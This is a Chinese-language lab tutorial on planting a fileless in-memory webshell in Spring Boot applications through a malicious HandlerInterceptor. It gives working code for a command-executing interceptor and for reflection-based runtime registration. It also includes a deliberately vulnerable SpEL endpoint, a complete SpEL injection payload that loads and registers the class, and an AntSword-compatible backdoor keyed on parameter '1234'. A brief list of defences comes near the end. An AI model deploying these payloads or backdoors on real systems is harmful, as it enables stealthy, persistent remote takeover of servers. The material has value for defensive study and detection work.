SpringBoot拦截器注入内存马实验
字数 819 2025-08-05 08:19:01
SpringBoot拦截器注入内存马实验教学文档
一、拦截器基础概念
1.1 拦截器作用
- Spring MVC拦截器(Interceptor)在请求到达Controller前进行预处理
- 可实现对请求的拦截、修改和增强
- 常用于权限验证、日志记录等场景
1.2 核心方法
preHandle: 请求处理前执行postHandle: 请求处理后执行afterCompletion: 视图渲染后执行
二、拦截器实现与注册
2.1 拦截器实现示例
public class InterceptorTest extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
if(request.getParameter("id") != null) {
PrintWriter writer = response.getWriter();
writer.write("InterceptorTest OK!");
writer.flush();
writer.close();
return false; // 拦截请求
}
return true; // 放行请求
}
}
2.2 拦截器注册方式
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new InterceptorTest());
}
}
三、运行时注入恶意拦截器
3.1 恶意拦截器示例
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
if (request.getParameter("calc") != null) {
Runtime.getRuntime().exec("calc");
return false;
}
return true;
}
}
3.2 运行时注册流程
-
动态加载恶意类
// 获取ClassLoader并定义类 Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); method.invoke(classLoader, className, bytes, 0, bytes.length); -
获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder .currentRequestAttributes() .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); -
反射注入拦截器
// 获取AbstractHandlerMapping实例 AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping"); // 反射获取adaptedInterceptors字段 Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping); // 注册恶意拦截器 adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
四、SpEL表达式注入实现
4.1 SpEL注入点示例
@Controller
@ResponseBody
public class SpelController {
@GetMapping("/spel")
public String spelTest(@RequestParam("input") String input) {
String template = input;
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(template, parserContext);
return expression.getValue().toString();
}
}
4.2 SpEL注入内存马
#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or
((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao",
T(org.springframework.util.Base64Utils).decodeFromString("恶意拦截器的class文件的base64编码"), 0, byte长度)==
(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or
((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder)
.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
.getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader()
.loadClass("com.example.spel.controller.Madao").newInstance())))}
五、蚁剑连接实现
5.1 改造恶意拦截器
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String cls = request.getParameter("1234");
if (cls != null) {
byte[] value = Base64Utils.decodeFromString(cls);
// 反射获取defineClass方法
Method dm = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class,
int.class,
int.class);
dm.setAccessible(true);
// 反射获取ClassLoader实例
Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();
Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);
clazz.newInstance().equals(new Object[]{request, response});
return false;
}
return true;
}
}
5.2 关键点说明
- 使用反射调用
defineClass方法动态加载类 - 每次创建新的
SecureClassLoader实例避免重复加载异常 - 通过Base64传输恶意类字节码
- 蚁剑连接密码通过参数
1234传递
六、防御措施
- 禁用SpEL表达式解析:避免使用
SpelExpressionParser解析用户输入 - 拦截器白名单:限制可注册的拦截器类
- 反射防护:限制关键类的反射调用
- ClassLoader防护:监控异常的类加载行为
- 输入过滤:严格校验所有用户输入
七、实验环境要求
- Java版本: 1.8.0_221
- Spring Boot版本: 2.5.1
- 测试工具: 蚁剑/冰蝎等Webshell管理工具
八、总结
本实验展示了如何通过Spring Boot拦截器机制注入内存马,关键点包括:
- 理解拦截器工作原理
- 掌握运行时动态注册拦截器技术
- 利用SpEL表达式注入实现无文件攻击
- 改造蚁剑马适配拦截器场景
- 反射技术的灵活运用
此技术危害性大、隐蔽性强,开发人员需提高安全意识,做好防护措施。